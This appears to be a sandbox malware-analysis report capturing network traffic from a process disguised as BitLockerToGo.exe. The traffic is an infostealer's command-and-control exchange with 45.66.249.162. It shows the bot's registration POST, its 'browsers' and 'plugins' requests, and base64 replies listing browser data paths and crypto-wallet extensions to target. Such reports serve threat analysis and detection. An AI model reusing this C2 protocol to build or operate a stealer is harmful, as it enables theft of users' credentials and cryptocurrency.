Oct 11, 2024 22:32:42.702781916 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:42.702805996 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:42.702805996 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:42.702821016 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.702827930 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:42.702832937 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.702843904 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.702853918 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:42.702853918 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.702867031 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.702877045 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.702883959 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:42.702883959 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:42.702891111 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.702908039 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:42.702908039 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:42.702944994 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:42.702944994 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:42.702963114 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.702974081 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.702985048 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.702995062 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.703002930 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:42.703006029 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.703016043 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.703016043 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:42.703028917 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.703036070 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:42.703036070 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:42.703051090 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:42.703051090 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:42.703058958 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:43.149009943 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:43.149049997 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:43.154107094 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:43.154565096 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:43.921972990 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:43.922106028 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:43.922738075 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:43.922790051 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:43.994920015 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:44.000860929 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:44.490479946 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:44.490499973 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:44.490511894 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:44.490552902 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:44.490598917 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:44.492645025 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:44.497590065 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:44.970860004 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:44.970954895 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:44.985265970 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:44.990258932 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:45.469770908 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:45.469882965 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:45.674274921 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:45.674329996 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:45.679279089 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:45.679296970 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:45.679322958 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:45.679332018 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:45.679366112 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:45.679375887 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:45.679418087 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:45.679419994 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:45.679430962 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:45.679440975 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:45.679450035 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:45.679460049 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:45.679474115 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:45.679490089 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:45.679502964 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:45.684031010 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:45.684046030 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:45.684083939 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:45.684096098 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:45.684096098 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:45.684107065 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:45.684117079 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:45.684124947 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:45.684140921 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:45.684145927 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:45.684169054 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:45.684179068 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:45.684221029 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:45.684287071 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:45.684334993 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:45.684334993 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:45.684389114 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:45.684420109 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:45.684443951 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:45.684465885 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:45.684485912 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:45.684602022 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:45.684647083 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:45.688699961 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:45.688718081 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:45.688726902 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:45.688761950 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:45.688767910 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:45.688808918 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:45.688889980 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:45.688934088 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:45.689141035 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:45.689157963 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:45.689166069 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:45.689174891 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:45.689183950 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:45.689212084 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:45.689220905 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:45.689244986 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:45.689306021 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:45.689363003 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:45.689371109 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:45.689424038 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:45.689431906 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:45.689440012 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:45.689455032 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:45.689464092 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:45.689477921 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:45.689485073 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:45.689493895 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:45.689563036 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:45.689572096 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:45.689579964 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:45.689614058 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:45.689624071 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:45.689632893 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:45.689660072 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:45.689690113 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:45.693566084 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:45.693576097 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:45.693595886 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:45.693612099 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:45.693769932 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:45.693778992 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:45.693805933 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:45.693815947 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:45.693903923 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:45.693912983 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:45.693921089 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:45.693929911 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:45.693969965 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:45.693978071 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:45.693994999 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:45.694056988 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:45.694065094 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:45.694075108 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:45.694138050 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:45.694145918 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:46.799345016 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:46.799420118 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:46.842623949 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:46.847717047 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:47.341236115 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:47.341295004 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:47.342283964 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:47.347122908 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:47.813687086 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:47.813781023 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:50.126072884 CEST	49707	80	192.168.2.8	45.66.249.162

HTTP Request Dependency Graph

45.66.249.162

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49707	45.66.249.162	80	7772	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
Oct 11, 2024 22:32:22.574843884 CEST	88	OUT	GET / HTTP/1.1 Host: 45.66.249.162 Connection: Keep-Alive Cache-Control: no-cache
Oct 11, 2024 22:32:23.487524033 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 11 Oct 2024 20:32:23 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 11, 2024 22:32:23.490567923 CEST	408	OUT	POST /9e6547173a597645.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDHDGDHJEGHIDGDHCGCB Host: 45.66.249.162 Content-Length: 208 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 33 38 33 34 38 30 33 38 42 44 30 38 35 36 34 33 38 36 38 30 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 76 31 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 42 2d 2d 0d 0a Data Ascii: ------IDHDGDHJEGHIDGDHCGCBContent-Disposition: form-data; name="hwid"938348038BD0856438680------IDHDGDHJEGHIDGDHCGCBContent-Disposition: form-data; name="build"v1------IDHDGDHJEGHIDGDHCGCB--
Oct 11, 2024 22:32:24.119239092 CEST	375	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 11 Oct 2024 20:32:23 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 180 Connection: keep-alive Vary: Accept-Encoding Data Raw: 5a 57 4d 33 59 6a 55 77 4f 54 4d 33 4d 47 56 6a 59 54 49 30 4e 57 4d 78 4d 57 4e 6a 4d 57 4d 34 4e 6a 4d 34 4d 57 46 6a 4f 44 55 32 4e 47 4e 68 59 54 4d 33 4d 44 4e 6d 59 6a 45 79 4f 47 51 35 4d 32 55 31 5a 47 56 6b 59 7a 59 7a 5a 6a 56 68 4e 57 4d 35 4e 7a 67 35 4e 54 63 77 59 7a 4d 7a 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 46 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: ZWM3YjUwOTM3MGVjYTI0NWMxMWNjMWM4NjM4MWFjODU2NGNhYTM3MDNmYjEyOGQ5M2U1ZGVkYzYzZjVhNWM5Nzg5NTcwYzMzfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDF8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Oct 11, 2024 22:32:24.121002913 CEST	468	OUT	POST /9e6547173a597645.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBKFIECBGDHJKECAKFBG Host: 45.66.249.162 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 4b 46 49 45 43 42 47 44 48 4a 4b 45 43 41 4b 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 63 37 62 35 30 39 33 37 30 65 63 61 32 34 35 63 31 31 63 63 31 63 38 36 33 38 31 61 63 38 35 36 34 63 61 61 33 37 30 33 66 62 31 32 38 64 39 33 65 35 64 65 64 63 36 33 66 35 61 35 63 39 37 38 39 35 37 30 63 33 33 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 46 49 45 43 42 47 44 48 4a 4b 45 43 41 4b 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 46 49 45 43 42 47 44 48 4a 4b 45 43 41 4b 46 42 47 2d 2d 0d 0a Data Ascii: ------CBKFIECBGDHJKECAKFBGContent-Disposition: form-data; name="token"ec7b509370eca245c11cc1c86381ac8564caa3703fb128d93e5dedc63f5a5c9789570c33------CBKFIECBGDHJKECAKFBGContent-Disposition: form-data; name="message"browsers------CBKFIECBGDHJKECAKFBG--
Oct 11, 2024 22:32:24.588928938 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 11 Oct 2024 20:32:24 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1520 Connection: keep-alive Vary: Accept-Encoding Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3NlclxV [TRUNCATED]
Oct 11, 2024 22:32:24.588956118 CEST	480	IN	Data Raw: 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4a 79 62 33 64 7a 5a 58 49 75 5a 58 68 6c 66 45 39 77 5a 58 4a 68 49 46 Data Ascii: cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRmlyZWZveHxcTW96aWxsYVxGaXJlZm94XFB
Oct 11, 2024 22:32:24.590255976 CEST	467	OUT	POST /9e6547173a597645.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJEGDBGDBFIJKECBAKFB Host: 45.66.249.162 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 63 37 62 35 30 39 33 37 30 65 63 61 32 34 35 63 31 31 63 63 31 63 38 36 33 38 31 61 63 38 35 36 34 63 61 61 33 37 30 33 66 62 31 32 38 64 39 33 65 35 64 65 64 63 36 33 66 35 61 35 63 39 37 38 39 35 37 30 63 33 33 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 42 2d 2d 0d 0a Data Ascii: ------IJEGDBGDBFIJKECBAKFBContent-Disposition: form-data; name="token"ec7b509370eca245c11cc1c86381ac8564caa3703fb128d93e5dedc63f5a5c9789570c33------IJEGDBGDBFIJKECBAKFBContent-Disposition: form-data; name="message"plugins------IJEGDBGDBFIJKECBAKFB--
Oct 11, 2024 22:32:25.054172993 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 11 Oct 2024 20:32:24 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 7116 Connection: keep-alive Vary: Accept-Encoding Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHx